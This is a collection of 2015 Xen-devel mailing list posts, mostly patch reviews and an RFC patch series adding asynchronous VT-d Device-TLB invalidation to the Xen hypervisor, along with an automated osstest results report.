Re: [Xen-devel] [PULL 0/19] xen-2015-09-08-tag

[Chen, Tiejun]

On 9/15/2015 7:00 PM, Paolo Bonzini wrote:



On 15/09/2015 11:55, Stefano Stabellini wrote:

On Mon, 14 Sep 2015, Paolo Bonzini wrote:

> On 10/09/2015 12:29, Stefano Stabellini wrote:

> > +if (lseek(config_fd, pos, SEEK_SET) != pos) {
> > +return -errno;
> > +}
> >  do {
> > -rc = pread(config_fd, (uint8_t *), len, pos);
> > +rc = read(config_fd, (uint8_t *), len);
> >  } while (rc < 0 && (errno == EINTR || errno == EAGAIN));

>
> This leaks config_fd.

I don't follow, it leaks config_fd where?


Where lseek returns -errno (and IIRC in other places in the same function).


Do you mean we need this change?

diff --git a/hw/pci-host/piix.c b/hw/pci-host/piix.c
index 1fb71c8..7d44228 100644
--- a/hw/pci-host/piix.c
+++ b/hw/pci-host/piix.c
@@ -775,15 +775,18 @@ static int host_pci_config_read(int pos, int len, 
uint32_t val)

 }

 if (lseek(config_fd, pos, SEEK_SET) != pos) {
+close(config_fd);
 return -errno;
 }
 do {
 rc = read(config_fd, (uint8_t *), len);
 } while (rc < 0 && (errno == EINTR || errno == EAGAIN));
 if (rc != len) {
+close(config_fd);
 return -errno;
 }

+close(config_fd);
 return 0;
 }


Thanks
Tiejun

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [xen-4.2-testing test] 61955: tolerable FAIL - PUSHED

[osstest service owner]

flight 61955 xen-4.2-testing real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61955/

Failures :-/ but no regressions.

Tests which are failing intermittently (not blocking):
 test-amd64-i386-libvirt-vhd 17 guest-start/debian.repeat fail in 61789 pass in 
61955
 test-amd64-amd64-xl-qemuu-win7-amd64 16 guest-localmigrate/x10 fail in 61789 
pass in 61955
 test-amd64-amd64-xl-qemuu-winxpsp3 15 guest-localmigrate.2 fail in 61789 pass 
in 61955
 test-amd64-i386-xl-qemuu-win7-amd64 15 guest-localmigrate.2 fail pass in 61789

Regressions which are regarded as allowable (not blocking):
 test-amd64-amd64-xl-win7-amd64 17 guest-stop   fail like 60704
 test-amd64-i386-xl-qemut-win7-amd64 17 guest-stop  fail like 60704
 test-amd64-i386-xl-win7-amd64 17 guest-stop   fail  like 60704
 test-amd64-amd64-xl-qemut-win7-amd64 17 guest-stop fail like 60704

Tests which did not succeed, but are not blocking:
 test-amd64-amd64-rumpuserxen-amd64  1 build-check(1)   blocked n/a
 test-amd64-i386-migrupgrade   1 build-check(1)   blocked  n/a
 test-amd64-amd64-migrupgrade  1 build-check(1)   blocked  n/a
 test-i386-i386-rumpuserxen-i386  1 build-check(1)   blocked  n/a
 test-amd64-i386-rumpuserxen-i386  1 build-check(1)   blocked  n/a
 test-amd64-i386-xl-qemuu-win7-amd64 17 guest-stop fail in 61789 never pass
 test-i386-i386-xl-qcow2   9 debian-di-installfail   never pass
 test-amd64-amd64-xl-qcow2 9 debian-di-installfail   never pass
 test-amd64-i386-xl-qcow2  9 debian-di-installfail   never pass
 test-amd64-amd64-libvirt-qcow2  9 debian-di-installfail never pass
 test-i386-i386-libvirt-qcow2  9 debian-di-installfail   never pass
 test-amd64-amd64-xl-qemuu-ovmf-amd64  9 debian-hvm-install fail never pass
 test-amd64-i386-xl-qemuu-ovmf-amd64  9 debian-hvm-install  fail never pass
 test-amd64-i386-libvirt-qcow2  9 debian-di-installfail  never pass
 test-amd64-amd64-amd64-pvgrub 10 guest-start  fail  never pass
 test-amd64-amd64-i386-pvgrub 10 guest-start  fail   never pass
 build-amd64-rumpuserxen   5 rumpuserxen-buildfail   never pass
 build-i386-prev   5 xen-buildfail   never pass
 build-amd64-prev  5 xen-buildfail   never pass
 build-i386-rumpuserxen5 rumpuserxen-buildfail   never pass
 test-i386-i386-libvirt   12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt  12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-vhd  11 migrate-support-checkfail   never pass
 test-i386-i386-libvirt-raw   11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-vhd 11 migrate-support-checkfail   never pass
 test-i386-i386-libvirt-vhd   11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-amd64-amd64-xl-qemuu-win7-amd64 17 guest-stop fail never pass
 test-amd64-i386-xend-qemut-winxpsp3 21 leak-check/checkfail never pass
 test-amd64-i386-xend-winxpsp3 21 leak-check/check fail  never pass

version targeted for testing:
 xen  9725546765b586548bd0a6bdb567f1813e61c663
baseline version:
 xen  32894093072c6ac5e680541669b0d1db263745fa

Last test of basis60704  2015-08-14 19:20:01 Z   32 days
Failing since 61104  2015-08-31 15:11:07 Z   15 days3 attempts
Testing same since61789  2015-09-11 11:19:06 Z4 days2 attempts


People who touched revisions under test:
  Gerd Hoffmann 
  Ian Campbell 
  Ian Jackson 
  Matthew Daley 
  Peter Lieven 
  Wei Liu 

jobs:
 build-amd64  pass
 build-i386   pass
 build-amd64-libvirt  pass
 build-i386-libvirt   pass
 build-amd64-prev fail
 build-i386-prev  fail
 build-amd64-pvopspass
 build-i386-pvops pass
 build-amd64-rumpuserxen  fail
 build-i386-rumpuserxen   fail
 test-amd64-amd64-xl

Re: [Xen-devel] [PATCH 3/4] x86/mce: Translate passed-in GPA to host machine address

[Haozhong Zhang]

On Tue, Sep 15, 2015 at 02:50:27PM +0100, Andrew Cooper wrote:
> On 15/09/15 14:42, Haozhong Zhang wrote:
> >
> >>> +mfn = mfn_x(get_gfn(d, gpfn, ));
> >>> +
> >>> +if (mfn == INVALID_MFN) {
> >>> +put_domain(d);
> >>> +return x86_mcerr("do_mca inject: illegal MSR value",
> >>> + -EINVAL);
> >> This message should be better distinguishable from the one further
> >> down (or else it's pretty pointless) - perhaps you mean GPFN instead
> >> of MSR?
> >>
> > Yes, I'll change it to "do_mca_inject: illegal GPFN".
> 
> Please always always always write useful error messages.  "illegal GPFN"
> is useless without also stating which value is believed to be invalid.
> 
> Furthermore, per the clarification in c/s e758ed1, "gfn" is the correct
> term to use here.
>

I'll update error messages in this patch to include more detailed
information.

> ~Andrew
> 
> ___
> Xen-devel mailing list
> Xen-devel@lists.xen.org
> http://lists.xen.org/xen-devel

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 08/13] vt-d: Held on the freed page until the Device-TLB flush is completed.

[Quan Xu]

The page freed from the domain should be on held, until the
Device-TLB flush is completed. The page previously associated
with the freed portion of GPA should not be reallocated for
another purpose until the appropriate invalidations have been
performed. Otherwise, the original page owner can still access
freed page though DMA.

Held on The page until the Device-TLB flush is completed.
  - Unlink the page from the original owner.
  - Remove the page from the page_list of domain.
  - Decrease the total pages count of domain.
  - Add the page to qi_hold_page_list.

The page will be put in Queued Invalidation(QI) interrupt handler
if the Device-TLB flush is completed.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 35 +++
 xen/include/xen/hvm/iommu.h |  8 
 2 files changed, 43 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index fda9a84..5c03e41 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1117,6 +1117,39 @@ static void _qi_msi_mask(struct iommu *iommu)
 spin_unlock_irqrestore(>register_lock, flags);
 }
 
+/*
+ * The page freed from the domain should be on held, until the
+ * Device-TLB flush is completed. The page previously associated
+ * with the freed portion of GPA should not be reallocated for
+ * another purpose until the appropriate invalidations have been
+ * performed. Otherwise, the original page owner can still access
+ * freed page though DMA.
+ *
+ * Held on The page until the Device-TLB flush is completed.
+ *   - Unlink the page from the original owner.
+ *   - Remove the page from the page_list of domain.
+ *   - Decrease the total pages count of domain.
+ *   - Add the page to qi_hold_page_list.
+ *
+ * The page will be put in Queued Invalidation(QI) interrupt
+ * handler if the Device-TLB flush is completed.
+ */
+void qi_hold_page(struct domain *d, struct page_info *pg)
+{
+spin_lock(>page_alloc_lock);
+page_set_owner(pg, NULL);
+page_list_del(pg, >page_list);
+d->tot_pages--;
+spin_unlock(>page_alloc_lock);
+
+INTEL_IOMMU_DEBUG("IOMMU: Hold on page mfn : %"PRIx64"\n",
+  page_to_mfn(pg));
+
+spin_lock(_page_lock(d));
+page_list_add_tail(pg, _hold_page_list(d));
+spin_unlock(_page_lock(d));
+}
+
 static void _do_iommu_qi(struct iommu *iommu)
 {
 unsigned long nr_dom, i;
@@ -1449,6 +1482,8 @@ static int intel_iommu_domain_init(struct domain *d)
 struct hvm_iommu *hd = domain_hvm_iommu(d);
 
 hd->arch.agaw = width_to_agaw(DEFAULT_DOMAIN_ADDRESS_WIDTH);
+INIT_PAGE_LIST_HEAD(_hold_page_list(d));
+spin_lock_init(_page_lock(d));
 
 return 0;
 }
diff --git a/xen/include/xen/hvm/iommu.h b/xen/include/xen/hvm/iommu.h
index e40fc7b..5dc0033 100644
--- a/xen/include/xen/hvm/iommu.h
+++ b/xen/include/xen/hvm/iommu.h
@@ -53,11 +53,15 @@ struct hvm_iommu {
 struct qi_talbe talbe;
 bool_t qi_flag;
 
+struct page_list_head qi_hold_page_list;
+spinlock_t qi_lock;
+
 /* Features supported by the IOMMU */
 DECLARE_BITMAP(features, IOMMU_FEAT_count);
 };
 
 void do_qi_flushing(struct domain *d);
+void qi_hold_page(struct domain *d, struct page_info *pg);
 
 #define iommu_set_feature(d, f)   set_bit((f), domain_hvm_iommu(d)->features)
 #define iommu_clear_feature(d, f) clear_bit((f), domain_hvm_iommu(d)->features)
@@ -68,5 +72,9 @@ void do_qi_flushing(struct domain *d);
 (d->arch.hvm_domain.hvm_iommu.talbe.qi_table_poll_slot)
 #define QI_FLUSHING(d) \
 (d->arch.hvm_domain.hvm_iommu.qi_flag)
+#define qi_hold_page_list(d) \
+(d->arch.hvm_domain.hvm_iommu.qi_hold_page_list)
+#define qi_page_lock(d) \
+(d->arch.hvm_domain.hvm_iommu.qi_lock)
 
 #endif /* __XEN_HVM_IOMMU_H__ */
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 00/13] VT-d Asynchronous Device-TLB Flush for ATS Device

[Quan Xu]

Introduction


   VT-d code currently has a number of cases where completion of certain 
operations
is being waited for by way of spinning. The majority of instances use that 
variable
indirectly through IOMMU_WAIT_OP() macro , allowing for loops of up to 1 second
(DMAR_OPERATION_TIMEOUT). While in many of the cases this may be acceptable, the
invalidation case seems particularly problematic.

Currently hypervisor polls the status address of wait descriptor up to 1 second 
to
get Invalidation flush result. When Invalidation queue includes Device-TLB 
invalidation,
using 1 second is a mistake here in the validation sync. As the 1 second 
timeout here is
related to response times by the IOMMU engine, Instead of Device-TLB 
invalidation with
PCI-e Address Translation Services (ATS) in use. the ATS specification mandates 
a timeout
of 1 _minute_ for cache flush. The ATS case needs to be taken into 
consideration when
doing invalidations. Obviously we can't spin for a minute, so invalidation 
absolutely
needs to be converted to a non-spinning model.

   Also i should fix the new memory security issue.
The page freed from the domain should be on held, until the Device-TLB flush is 
completed (ATS timeout of 1 _minute_).
The page previously associated  with the freed portion of GPA should not be 
reallocated for
another purpose until the appropriate invalidations have been performed. 
Otherwise, the original
page owner can still access freed page though DMA.

Why RFC
===
Patch 0001--0005, 0013 are IOMMU related.
Patch 0006 is about new flag (vCPU / MMU related).
Patch 0007 is vCPU related.
Patch 0008--0012 are MMU related.

1. Xen MMU is very complicated. Could Xen MMU experts help me verify 
whether I
   have covered all of the case?

2. For gnttab_transfer, If the Device-TLB flush is still not completed when 
to
   map the transferring page to a remote domain, schedule and wait on a 
waitqueue
   until the Device-TLB flush is completed. Is it correct?

   (I have tested waitqueue in decrease_reservation() [do_memory_op()  
hypercall])
I wake up domain(with only one vCPU) with debug-key tool, and the 
domain(with only one vCPU)
is still working after waiting 60s in a waitqueue. )


Design Overview
===

This design implements a non-spinning model for Device-TLB invalidation -- 
using an interrupt
based mechanism. Track the Device-TLB invalidation status in an invalidation 
table per-domain. The
invalidation table keeps the count of in-flight Device-TLB invalidation 
requests, and also
provides a global polling parameter per domain for in-flight Device-TLB 
invalidation requests.
Update invalidation table's count of in-flight Device-TLB invalidation requests 
and assign the
address of global polling parameter per domain in the Status Address of each 
invalidation wait
descriptor, when to submit invalidation requests.

For example:
  .

|invl |  Status Data = 1 (the count of in-flight Device-TLB invalidation 
requests)
|wait |  Status Address = 
virt_to_maddr(&_a_global_polling_parameter_per_domain_)
|dsc  |
  .
  .

|invl |
|wait | Status Data = 2 (the count of in-flight Device-TLB invalidation 
requests)
|dsc  | Status Address = virt_to_maddr(&_a_global_polling_parameter_per_domain_)
  .
  .

|invl |
|wait |  Status Data = 3 (the count of in-flight Device-TLB invalidation 
requests)
|dsc  |  Status Address =  
virt_to_maddr(&_a_global_polling_parameter_per_domain_)
  .
  .

More information about VT-d Invalidation Wait Descriptor, please refer to
  
http://www.intel.com/content/www/us/en/intelligent-systems/intel-technology/vt-directed-io-spec.html
  6.5.2.8 Invalidation Wait Descriptor.
Status Address and Data: Status address and data is used by hardware to perform 
wait descriptor
 completion status write when the Status Write(SW) 
field is Set. Hardware Behavior
 is undefined if the Status address range of 
0xFEEX_ etc.). The Status Address
 and Data fields are ignored by hardware when the 
Status Write field is Clear.

The invalidation completion event interrupt is generated only after the 
invalidation wait descriptor
completes. In invalidation interrupt handler, it will schedule a soft-irq to do 
the following check:

  if invalidation table's count of in-flight Device-TLB invalidation requests 
== polling parameter:
This domain has no in-flight Device-TLB invalidation requests.
  else
This domain has in-flight Device-TLB invalidation requests.

Track domain Status:
   The vCPU is NOT allowed to entry guest mode and put into SCHEDOP_yield list 
if it has in-flight
Device-TLB invalidation requests.

Memory security issue:
In case with PCI-e Address Translation Services(ATS) in use, ATS spec 
mandates a timeout of 1 minute
for cache flush.
The page freed from the domain should be on held, until the Device-TLB 
flush is completed. The 

[Xen-devel] [Patch RFC 02/13] vt-d: Register MSI for async invalidation completion interrupt.

[Quan Xu]

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 133 
 xen/drivers/passthrough/vtd/iommu.h |  10 +++
 2 files changed, 143 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 17bfb76..db6e3a2 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -54,6 +54,7 @@ bool_t __read_mostly untrusted_msi;
 int nr_iommus;
 
 static struct tasklet vtd_fault_tasklet;
+static struct tasklet vtd_qi_tasklet;
 
 static int setup_hwdom_device(u8 devfn, struct pci_dev *);
 static void setup_hwdom_rmrr(struct domain *d);
@@ -1068,6 +1069,125 @@ static hw_irq_controller dma_msi_type = {
 .set_affinity = dma_msi_set_affinity,
 };
 
+/* IOMMU Queued Invalidation(QI). */
+static void _qi_msi_unmask(struct iommu *iommu)
+{
+u32 sts;
+unsigned long flags;
+
+/* Clear IM bit of DMAR_IECTL_REG. */
+spin_lock_irqsave(>register_lock, flags);
+sts = dmar_readl(iommu->reg, DMAR_IECTL_REG);
+sts &= ~DMA_IECTL_IM;
+dmar_writel(iommu->reg, DMAR_IECTL_REG, sts);
+spin_unlock_irqrestore(>register_lock, flags);
+}
+
+static void _qi_msi_mask(struct iommu *iommu)
+{
+u32 sts;
+unsigned long flags;
+
+/* Set IM bit of DMAR_IECTL_REG. */
+spin_lock_irqsave(>register_lock, flags);
+sts = dmar_readl(iommu->reg, DMAR_IECTL_REG);
+sts |= DMA_IECTL_IM;
+dmar_writel(iommu->reg, DMAR_IECTL_REG, sts);
+spin_unlock_irqrestore(>register_lock, flags);
+}
+
+static void _do_iommu_qi(struct iommu *iommu)
+{
+}
+
+static void do_iommu_qi_completion(unsigned long data)
+{
+struct acpi_drhd_unit *drhd;
+
+if ( list_empty(_drhd_units) )
+{
+   dprintk(XENLOG_ERR VTDPREFIX, "IOMMU: no iommu devices.\n");
+   return;
+}
+
+for_each_drhd_unit( drhd )
+_do_iommu_qi(drhd->iommu);
+}
+
+static void iommu_qi_completion(int irq, void *dev_id,
+struct cpu_user_regs *regs)
+{
+tasklet_schedule(_qi_tasklet);
+}
+
+static void qi_msi_unmask(struct irq_desc *desc)
+{
+_qi_msi_unmask(desc->action->dev_id);
+}
+
+static void qi_msi_mask(struct irq_desc *desc)
+{
+_qi_msi_mask(desc->action->dev_id);
+}
+
+static unsigned int qi_msi_startup(struct irq_desc *desc)
+{
+qi_msi_unmask(desc);
+return 0;
+}
+
+static void qi_msi_ack(struct irq_desc *desc)
+{
+irq_complete_move(desc);
+qi_msi_mask(desc);
+move_masked_irq(desc);
+}
+
+static void qi_msi_end(struct irq_desc *desc, u8 vector)
+{
+ack_APIC_irq();
+}
+
+static void qi_msi_set_affinity(struct irq_desc *desc, const cpumask_t *mask)
+{
+struct msi_msg msg;
+unsigned int dest;
+unsigned long flags;
+struct iommu *iommu = desc->action->dev_id;
+
+dest = set_desc_affinity(desc, mask);
+if ( dest == BAD_APICID )
+{
+dprintk(XENLOG_ERR VTDPREFIX,
+"IOMMU: Set invaldaiton interrupt affinity error!\n");
+return;
+}
+
+msi_compose_msg(desc->arch.vector, desc->arch.cpu_mask, );
+if ( x2apic_enabled )
+msg.address_hi = dest & 0xFF00;
+msg.address_lo &= ~MSI_ADDR_DEST_ID_MASK;
+msg.address_lo |= MSI_ADDR_DEST_ID(dest);
+iommu->qi_msi.msg = msg;
+
+spin_lock_irqsave(>register_lock, flags);
+dmar_writel(iommu->reg, DMAR_IEDATA_REG, msg.data);
+dmar_writel(iommu->reg, DMAR_IEADDR_REG, msg.address_lo);
+dmar_writel(iommu->reg, DMAR_IEUADDR_REG, msg.address_hi);
+spin_unlock_irqrestore(>register_lock, flags);
+}
+
+static hw_irq_controller qi_msi_type = {
+.typename = "QI_MSI",
+.startup = qi_msi_startup,
+.shutdown = qi_msi_mask,
+.enable = qi_msi_unmask,
+.disable = qi_msi_mask,
+.ack = qi_msi_ack,
+.end = qi_msi_end,
+.set_affinity = qi_msi_set_affinity,
+};
+
 static int __init iommu_set_interrupt(struct acpi_drhd_unit *drhd,
 hw_irq_controller *irq_ctrl, const char *devname, struct msi_desc *msi,
 void (*irq_handler)(int, void *, struct cpu_user_regs *))
@@ -1123,6 +1243,7 @@ int __init iommu_alloc(struct acpi_drhd_unit *drhd)
 return -ENOMEM;
 
 iommu->msi.irq = -1; /* No irq assigned yet. */
+iommu->qi_msi.irq = -1; /* No irq assigned yet. */
 
 iommu->intel = alloc_intel_iommu();
 if ( iommu->intel == NULL )
@@ -1228,6 +1349,9 @@ void __init iommu_free(struct acpi_drhd_unit *drhd)
 free_intel_iommu(iommu->intel);
 if ( iommu->msi.irq >= 0 )
 destroy_irq(iommu->msi.irq);
+if ( iommu->qi_msi.irq >= 0 )
+destroy_irq(iommu->qi_msi.irq);
+
 xfree(iommu);
 }
 
@@ -1985,6 +2109,9 @@ static void adjust_irq_affinity(struct acpi_drhd_unit 
*drhd)
  cpumask_intersects(_to_cpumask(node), cpumask) )
 cpumask = _to_cpumask(node);
 dma_msi_set_affinity(irq_to_desc(drhd->iommu->msi.irq), cpumask);
+
+if ( ats_enabled )
+

[Xen-devel] [Patch RFC 09/13] vt-d: Put the page in Queued Invalidation(QI) interrupt handler if

[Quan Xu]

the Device-TLB flush is completed.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 10 ++
 1 file changed, 10 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 5c03e41..1297dea 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1154,6 +1154,7 @@ static void _do_iommu_qi(struct iommu *iommu)
 {
 unsigned long nr_dom, i;
 struct domain *d = NULL;
+struct page_info *page = NULL;
 
 scan_again:
 /*
@@ -1177,6 +1178,15 @@ scan_again:
 {
 qi_table_data(d) = 0;
 qi_table_pollslot(d) = 0;
+spin_lock(_page_lock(d));
+while ( (page = page_list_remove_head(
+_hold_page_list(d))) )
+{
+INTEL_IOMMU_DEBUG("IOMMU:  Put page mfn : %"PRIx64"\n",
+  page_to_mfn(page));
+put_page(page);
+}
+spin_unlock(_page_lock(d));
 QI_FLUSHING(d) = 0;
 }
 rcu_unlock_domain(d);
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 12/13] vt-d: For gnttab_transfer, If the Device-TLB flush is still

[Quan Xu]

not completed when to map the transferring page to a remote
domain, schedule and wait on a waitqueue until the Device-TLB
flush is completed.

Signed-off-by: Quan Xu 
---
 xen/common/grant_table.c | 16 
 1 file changed, 16 insertions(+)

diff --git a/xen/common/grant_table.c b/xen/common/grant_table.c
index f2ed64a..9bf2009 100644
--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -1808,6 +1808,22 @@ gnttab_transfer(
 guest_physmap_remove_page(d, gop.mfn, mfn, 0);
 gnttab_flush_tlb(d);
 
+#ifdef HAS_PASSTHROUGH
+/*
+ * The page freed from the domain should be on held, until the
+ * Device-TLB flush is completed. The page previously associated
+ * with the freed portion of GPA should not be reallocated for
+ * another purpose until the appropriate invalidations have been
+ * performed. Otherwise, the original page owner can still access
+ * freed page though DMA.
+ *
+ * If the Device-TLB flush is still not completed, schedule and
+ * wait on a waitqueue until the Device-TLB flush is completed.
+ */
+if ( QI_FLUSHING(d) )
+wait_for_qi_flushing(d);
+#endif
+
 /* Find the target domain. */
 if ( unlikely((e = rcu_lock_domain_by_id(gop.domid)) == NULL) )
 {
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 07/13] vt-d: If the qi_flag is Set, the domain's vCPUs are not allowed to

[Quan Xu]

entry guest mode and put into the SCHEDOP_yield list.

Signed-off-by: Quan Xu 
---
 xen/arch/x86/hvm/vmx/entry.S  | 10 ++
 xen/arch/x86/x86_64/asm-offsets.c |  1 +
 xen/common/domain.c   |  5 +
 xen/include/xen/hvm/iommu.h   |  2 ++
 4 files changed, 18 insertions(+)

diff --git a/xen/arch/x86/hvm/vmx/entry.S b/xen/arch/x86/hvm/vmx/entry.S
index 2a4ed57..53a4c58 100644
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -66,6 +66,10 @@ ENTRY(vmx_asm_vmexit_handler)
 cmp  %ecx,(%rdx,%rax,1)
 jnz  .Lvmx_process_softirqs
 
+mov  VCPU_domain(%rbx),%rax
+cmp  $0,QI_flag(%rax)
+jne  .Lqi_flushing
+
 cmp  %cl,VCPU_vmx_emulate(%rbx)
 jne .Lvmx_goto_emulator
 cmp  %cl,VCPU_vmx_realmode(%rbx)
@@ -125,3 +129,9 @@ ENTRY(vmx_asm_do_vmentry)
 sti
 call do_softirq
 jmp  .Lvmx_do_vmentry
+
+.Lqi_flushing:
+sti
+mov %rax,%rdi
+call do_qi_flushing
+jmp  .Lvmx_do_vmentry
diff --git a/xen/arch/x86/x86_64/asm-offsets.c 
b/xen/arch/x86/x86_64/asm-offsets.c
index 447c650..d26b026 100644
--- a/xen/arch/x86/x86_64/asm-offsets.c
+++ b/xen/arch/x86/x86_64/asm-offsets.c
@@ -116,6 +116,7 @@ void __dummy__(void)
 BLANK();
 
 OFFSET(DOMAIN_is_32bit_pv, struct domain, arch.is_32bit_pv);
+OFFSET(QI_flag, struct domain, arch.hvm_domain.hvm_iommu.qi_flag);
 BLANK();
 
 OFFSET(VMCB_rax, struct vmcb_struct, rax);
diff --git a/xen/common/domain.c b/xen/common/domain.c
index 1b9fcfc..1f62e3b 100644
--- a/xen/common/domain.c
+++ b/xen/common/domain.c
@@ -1479,6 +1479,11 @@ int continue_hypercall_on_cpu(
 return 0;
 }
 
+void do_qi_flushing(struct domain *d)
+{
+do_sched_op(SCHEDOP_yield, guest_handle_from_ptr(NULL, void));
+}
+
 /*
  * Local variables:
  * mode: C
diff --git a/xen/include/xen/hvm/iommu.h b/xen/include/xen/hvm/iommu.h
index e838905..e40fc7b 100644
--- a/xen/include/xen/hvm/iommu.h
+++ b/xen/include/xen/hvm/iommu.h
@@ -57,6 +57,8 @@ struct hvm_iommu {
 DECLARE_BITMAP(features, IOMMU_FEAT_count);
 };
 
+void do_qi_flushing(struct domain *d);
+
 #define iommu_set_feature(d, f)   set_bit((f), domain_hvm_iommu(d)->features)
 #define iommu_clear_feature(d, f) clear_bit((f), domain_hvm_iommu(d)->features)
 
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 13/13] vt-d: Set the IF bit in Invalidation Wait Descriptor When submit Device-TLB

[Quan Xu]

invalidataion requests. If the IF bit is Set, the interrupt based mechanism
will be used to track the Device-TLB invalidation requests. Do not do polling
to detect whether hardware completes the Device-TLB invalidation during Device-
TLB invalidation.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/qinval.c | 26 --
 1 file changed, 24 insertions(+), 2 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/qinval.c 
b/xen/drivers/passthrough/vtd/qinval.c
index 0d85ce7..b330d02 100644
--- a/xen/drivers/passthrough/vtd/qinval.c
+++ b/xen/drivers/passthrough/vtd/qinval.c
@@ -176,7 +176,15 @@ static int queue_invalidate_wait(struct iommu *iommu,
 qinval_update_qtail(iommu, index);
 spin_unlock_irqrestore(>register_lock, flags);
 
-/* Now we don't support interrupt method */
+/*
+ * If the iflag is Set, the interrupt based mechanism will be used to track
+ * the Device-TLB invalidation status. Do not do polling to detect whether
+ * hardware completes the Device-TLB invalidation during submitting 
Device-TLB
+ * invalidation requests.
+ */
+if ( iflag )
+return 0;
+
 if ( sw )
 {
 /* In case all wait descriptor writes to same addr with same data */
@@ -322,6 +330,15 @@ static int flush_context_qi(
 return ret;
 }
 
+static int invalidate_async(struct iommu *iommu, u16 device_id)
+{
+struct qi_ctrl *qi_ctrl = iommu_qi_ctrl(iommu);
+
+if ( qi_ctrl->qinval_maddr )
+return queue_invalidate_wait(iommu, 1, 1, 1, device_id);
+return 0;
+}
+
 static int flush_iotlb_qi(
 void *_iommu, u16 did,
 u64 addr, unsigned int size_order, u64 type,
@@ -360,8 +377,13 @@ static int flush_iotlb_qi(
type >> DMA_TLB_FLUSH_GRANU_OFFSET, dr,
dw, did, size_order, 0, addr);
 if ( flush_dev_iotlb )
+{
 ret = dev_invalidate_iotlb(iommu, did, addr, size_order, type);
-rc = invalidate_sync(iommu);
+rc = invalidate_async(iommu, did);
+} else {
+rc = invalidate_sync(iommu);
+}
+
 if ( !ret )
 ret = rc;
 }
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 05/13] vt-d: Clear the IWC field of Invalidation Event Control Register in

[Quan Xu]

QI interrupt handler and QI startup. If the IWC field was already
Set at the time of setting this field, it is not treated as a new
interrupt conditions.
In QI interrupt handler, Check IP field of Invalidation Event Control
register after scan domain status. if IP field is Set, scan agian,
instead of generating another interrupt. then, Clear IM fild of
Invalidation Event Control Register for no masking of QI interrupt.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 59 +
 xen/drivers/passthrough/vtd/iommu.h |  6 
 2 files changed, 65 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 0e912fb..e3acea5 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1070,6 +1070,27 @@ static hw_irq_controller dma_msi_type = {
 };
 
 /* IOMMU Queued Invalidation(QI). */
+static void qi_clear_iwc(struct iommu *iommu)
+{
+unsigned long flags;
+
+spin_lock_irqsave(>register_lock, flags);
+dmar_writel(iommu->reg, DMAR_ICS_REG, RW1CS);
+spin_unlock_irqrestore(>register_lock, flags);
+}
+
+static int _qi_msi_ip(struct iommu *iommu)
+{
+u32 sts;
+unsigned long flags;
+
+/* Get IP bit of DMAR_IECTL_REG. */
+spin_lock_irqsave(>register_lock, flags);
+sts = dmar_readl(iommu->reg, DMAR_IECTL_REG);
+spin_unlock_irqrestore(>register_lock, flags);
+return (sts & DMA_IECTL_IP);
+}
+
 static void _qi_msi_unmask(struct iommu *iommu)
 {
 u32 sts;
@@ -1101,6 +1122,14 @@ static void _do_iommu_qi(struct iommu *iommu)
 unsigned long nr_dom, i;
 struct domain *d = NULL;
 
+scan_again:
+/*
+ * If the IWC field in the Invalidation Completion Status register was 
already
+ * Set at the time of setting this field, it is not treated as a new 
interrupt
+ * condition.
+ */
+qi_clear_iwc(iommu);
+
 nr_dom = cap_ndoms(iommu->cap);
 i = find_first_bit(iommu->domid_bitmap, nr_dom);
 while ( i < nr_dom )
@@ -1120,6 +1149,28 @@ static void _do_iommu_qi(struct iommu *iommu)
 }
 i = find_next_bit(iommu->domid_bitmap, nr_dom, i+1);
 }
+
+/*
+ * IP is interrupt pending and the 30 bit of Invalidation Event Control
+ * Register. The IP field is kept Set by hardware while the interrupt
+ * message is held pending. The IP field is cleared by hardware as soon
+ * as the interrupt message pending condition  is serviced. IP could be
+ * cleard due to either:
